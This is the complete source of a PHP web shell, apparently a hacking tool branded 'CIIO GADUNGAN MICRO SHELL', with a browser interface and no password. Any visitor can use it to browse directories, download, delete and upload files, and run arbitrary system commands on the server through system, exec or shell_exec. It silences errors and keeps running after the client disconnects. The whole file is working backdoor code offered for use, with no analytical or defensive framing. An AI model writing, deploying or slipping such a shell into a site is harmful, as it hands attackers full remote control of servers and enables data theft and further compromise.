#!/usr/bin/env php
<?php
/*
╔═══════════════════════════════════════════════════════════════════════════════════╗
║                    CIIO GADUNGAN MICRO SHELL v1.0                                 ║
║                         5KB - Upload + File Manager                               ║
║                     No Password - Direct Access                                   ║
╚═══════════════════════════════════════════════════════════════════════════════════╝
*/
// Micro Shell - Upload & File Manager - 5KB
@error_reporting(0);
@set_time_limit(0);
@ignore_user_abort(true);

// Get action
$a = isset($_GET['a']) ? $_GET['a'] : (isset($_POST['a']) ? $_POST['a'] : '');
$f = isset($_GET['f']) ? $_GET['f'] : (isset($_POST['f']) ? $_POST['f'] : '');

// List directory
if($a == 'ls'){
    $d = $f ? $f : getcwd();
    $s = '';
    if($h = opendir($d)){
        while(($file = readdir($h)) !== false){
            if($file == '.' || $file == '..') continue;
            $p = $d . '/' . $file;
            $s .= ($s ? "\n" : '') . (is_dir($p) ? '[DIR] ' : '[FILE] ') . $file . ' | ' . (is_file($p) ? filesize($p) . ' bytes' : '-');
        }
        closedir($h);
    }
    die($s ?: 'Empty directory');
}

// Download file
if($a == 'dl' && $f && is_file($f)){
    header('Content-Type: application/octet-stream');
    header('Content-Disposition: attachment; filename="'.basename($f).'"');
    readfile($f);
    exit;
}

// Delete file
if($a == 'rm' && $f){
    @unlink($f);
    die($f . ' deleted');
}

// Upload file
if($a == 'up' && isset($_FILES['file'])){
    $t = $f ? rtrim($f,'/') . '/' : getcwd() . '/';
    $t .= basename($_FILES['file']['name']);
    if(move_uploaded_file($_FILES['file']['tmp_name'], $t)){
        die('Uploaded: ' . $t . ' (' . $_FILES['file']['size'] . ' bytes)');
    }
    die('Upload failed');
}

// Execute command (optional - small)
if($a == 'ex' && $f){
    $out = '';
    if(function_exists('system')){ ob_start(); system($f); $out = ob_get_clean(); }
    elseif(function_exists('exec')){ exec($f,$o); $out = implode("\n",$o); }
    elseif(function_exists('shell_exec')){ $out = shell_exec($f); }
    die($out ?: '[!] No output');
}

// Get current directory
if($a == 'pwd'){
    die(getcwd());
}

// Default: Show HTML interface
?>
<!DOCTYPE html>
<html>
<head><title>CIIO GADUNGAN MICRO</title>
<style>
body{background:#0a0a0a;color:#0f0;font-family:monospace;padding:20px;margin:0}
.container{max-width:1200px;margin:0 auto}
.header{border-bottom:2px solid #f00;padding:10px 0;margin-bottom:20px}
h1{color:#f00;margin:0;font-size:20px}
.row{display:flex;gap:20px;flex-wrap:wrap}
.col{flex:1;min-width:300px}
.box{background:#000;border:1px solid #300;padding:15px;margin-bottom:20px}
.box h3{color:#f00;margin:0 0 10px 0;font-size:14px}
input,button{background:#111;border:1px solid #300;color:#0f0;padding:8px;font-family:monospace}
button{cursor:pointer;background:#1a0000}
button:hover{background:#2a0000;border-color:#f00}
.file-list{max-height:400px;overflow:auto}
.file-item{padding:5px;border-bottom:1px solid #1a0000;cursor:pointer}
.file-item:hover{background:#1a0000}
.dir{color:#f00}
.file{color:#0f0}
.cmd-input{width:100%;margin-bottom:10px}
.output{background:#000;border:1px solid #300;padding:10px;height:300px;overflow:auto;white-space:pre-wrap;font-size:11px}
.upload-area{border:2px dashed #300;padding:20px;text-align:center}
.status{position:fixed;bottom:0;left:0;right:0;background:#0a0a0a;border-top:1px solid #f00;padding:5px 20px;font-size:10px;display:flex;justify-content:space-between}
</style>
</head>
<body>
<div class="container">
<div class="header">
<h1>💀 CIIO GADUNGAN MICRO SHELL (5KB) 💀</h1>
<div style="font-size:11px">📍 <?php echo getcwd(); ?> | 🔓 NO PASSWORD</div>
</div>
<div class="row">
<div class="col">
<div class="box">
<h3>📁 FILE MANAGER</h3>
<input type="text" id="dir" style="width:70%" value="<?php echo getcwd(); ?>">
<button onclick="loadDir()">GO</button>
<button onclick="goUp()">⬆</button>
<div class="file-list" id="filelist">Loading...</div>
</div>
<div class="box">
<h3>📤 UPLOAD FILE</h3>
<div class="upload-area">
<input type="file" id="upfile" style="margin-bottom:10px">
<button onclick="uploadFile()">UPLOAD</button>
</div>
</div>
</div>
<div class="col">
<div class="box">
<h3>💀 COMMAND</h3>
<input type="text" id="cmd" class="cmd-input" placeholder="command..." onkeypress="if(event.keyCode==13)execCmd()">
<button onclick="execCmd()">EXECUTE</button>
<div class="output" id="output">Ready. Click file to download.</div>
</div>
</div>
</div>
</div>
<div class="status">
<span>CIIO GADUNGAN | <?php echo date('H:i:s'); ?></span>
<span>📂 <?php echo getcwd(); ?></span>
</div>
<script>
let curDir = document.getElementById('dir').value;

async function loadDir(){
    curDir = document.getElementById('dir').value;
    const list = document.getElementById('filelist');
    list.innerHTML = 'Loading...';
    try{
        const r = await fetch('?a=ls&f='+encodeURIComponent(curDir));
        const txt = await r.text();
        list.innerHTML = '';
        if(txt && txt !== 'Empty directory'){
            const lines = txt.split('\n');
            for(let line of lines){
                const isDir = line.startsWith('[DIR]');
                const name = line.replace('[DIR] ','').replace('[FILE] ','').split(' | ')[0];
                const div = document.createElement('div');
                div.className = 'file-item ' + (isDir ? 'dir' : 'file');
                div.textContent = line;
                if(isDir){
                    div.onclick = () => { document.getElementById('dir').value = curDir + '/' + name; loadDir(); };
                } else {
                    div.onclick = () => { window.open('?a=dl&f='+encodeURIComponent(curDir+'/'+name)); };
                }
                list.appendChild(div);
            }
        } else { list.innerHTML = '<div style="padding:10px">Empty directory</div>'; }
    } catch(e){ list.innerHTML = 'Error'; }
}

function goUp(){
    let d = curDir.split('/');
    d.pop();
    let p = d.join('/') || '/';
    document.getElementById('dir').value = p;
    loadDir();
}

async function execCmd(){
    const cmd = document.getElementById('cmd').value;
    if(!cmd) return;
    const out = document.getElementById('output');
    out.innerHTML += '\n<span style="color:#f00">$> '+escapeHtml(cmd)+'</span>\n';
    try{
        const r = await fetch('?a=ex&f='+encodeURIComponent(cmd));
        const txt = await r.text();
        out.innerHTML += '<span style="color:#0f0">'+escapeHtml(txt)+'</span>\n';
    } catch(e){ out.innerHTML += '<span style="color:#f00">Error</span>\n'; }
    document.getElementById('cmd').value = '';
    out.scrollTop = out.scrollHeight;
}

async function uploadFile(){
    const file = document.getElementById('upfile').files[0];
    if(!file) return;
    const fd = new FormData();
    fd.append('file', file);
    fd.append('a', 'up');
    fd.append('f', curDir);
    const out = document.getElementById('output');
    out.innerHTML += '\n<span style="color:#ff0">[>] Uploading '+file.name+'...</span>\n';
    try{
        const r = await fetch('', {method:'POST', body:fd});
        const txt = await r.text();
        out.innerHTML += '<span style="color:#0f0">'+escapeHtml(txt)+'</span>\n';
        loadDir();
    } catch(e){ out.innerHTML += '<span style="color:#f00">Upload failed</span>\n'; }
    document.getElementById('upfile').value = '';
    out.scrollTop = out.scrollHeight;
}

function escapeHtml(s){ return s.replace(/[&<>]/g, function(m){ return m==='&'?'&amp;':(m==='<'?'&lt;':'&gt;'); }); }
loadDir();
</script>
</body>
</html>